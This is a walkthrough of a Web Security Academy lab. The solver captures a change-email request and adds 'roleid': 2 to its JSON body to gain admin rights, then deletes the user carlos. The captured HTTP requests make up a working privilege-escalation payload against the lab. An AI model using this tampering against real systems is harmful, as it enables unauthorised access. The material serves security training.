


## Lab: User role can be modified in user profile

This lab has an admin panel at `/admin`. It's only accessible to logged-in users with a `roleid` of 2.


Solve the lab by accessing the admin panel and using it to delete the user `carlos`.

You can log in to your own account using the following credentials: `wiener:peter`

---

**Web Security Academy** 


User role can be modified in user profile


LAB Not solved 

[Back to lab description >>](#)


---

[Home](#) | [My account](#)


WE LIKE TO  
**SHOP** 




Eggtastic, Fun, Food Eggcessories  
★★★★☆ \$30.11  
[View details](#)



Caution Sign  
★★★★☆ \$18.87  
[View details](#)



Robot Home Security Buddy  
★☆☆☆☆ \$0.12  
[View details](#)



Pest Control Umbrella  
★★★★★ \$93.53  
[View details](#)

---

We are going to intercept the request to identify how the webpage is handling the data if we try to update the email.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /my-account/change-email HTTP/2 2 Host: 0a0800d9041c246b80a14e6100c00018.web-security-academy.net 3 Cookie: session=9a1eXZkjMOG2SMBLnc7ueJxU0aiAmM6 4 Content-Length: 32 5 Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122" 6 Sec-Ch-Ua-Platform: "Windows" 7 Sec-Ch-Ua-Mobile: ?0 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0 9 Content-Type: text/plain;charset=UTF-8 10 Accept: */* 11 Origin: https://0a0800d9041c246b80a14e6100c00018.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0a0800d9041c246b80a14e6100c00018.web-security-academy.net/my-account?id=wiener 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8 18 19 { 20   "email": "giridharan@gmail.com" 21 } 22</pre>				<pre>1 HTTP/2 302 Found 2 Location: /my-account 3 Content-Type: application/json; charset=utf-8 4 X-Frame-Options: SAMEORIGIN 5 Content-Length: 124 6 7 { 8   "username": "wiener", 9   "email": "giridharan@gmail.com", 10  "apikey": "pcwODPYC1uvRfthvgStel9PGHuzPASv", 11  "roleid": 1 12 }</pre>			


By default, the role id is assigned to 1, we need to change that 2 to access the admin panel.

Pretty	Raw	Hex
<pre>1 POST /my-account/change-email HTTP/2 2 Host: 0a0800d9041c246b80a14e6100c00018.web-security-academy.net 3 Cookie: session=9a1eXZkjMOG2SMBLnc7ueJxU0aiAmM6 4 Content-Length: 32 5 Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122" 6 Sec-Ch-Ua-Platform: "Windows" 7 Sec-Ch-Ua-Mobile: ?0 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0 9 Content-Type: text/plain;charset=UTF-8 10 Accept: */* 11 Origin: https://0a0800d9041c246b80a14e6100c00018.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0a0800d9041c246b80a14e6100c00018.web-security-academy.net/my-account?id=wiener 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8 18 19 { 20   "email": "giridharan@gmail.com", 21   "roleid": 2 22 }</pre>		



User role can be modified in user profile

[Back to lab description](#) >>

LAB Not solved 

[Home](#) | [Admin panel](#) | [My account](#)

## Users

wiener - [Delete](#)  
carlos - [Delete](#)



User role can be modified in user profile

[Back to lab description](#) >>

LAB Solved 

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning](#) >>

[Home](#) | [Admin panel](#) | [My account](#)

User deleted successfully!

## Users

wiener - [Delete](#)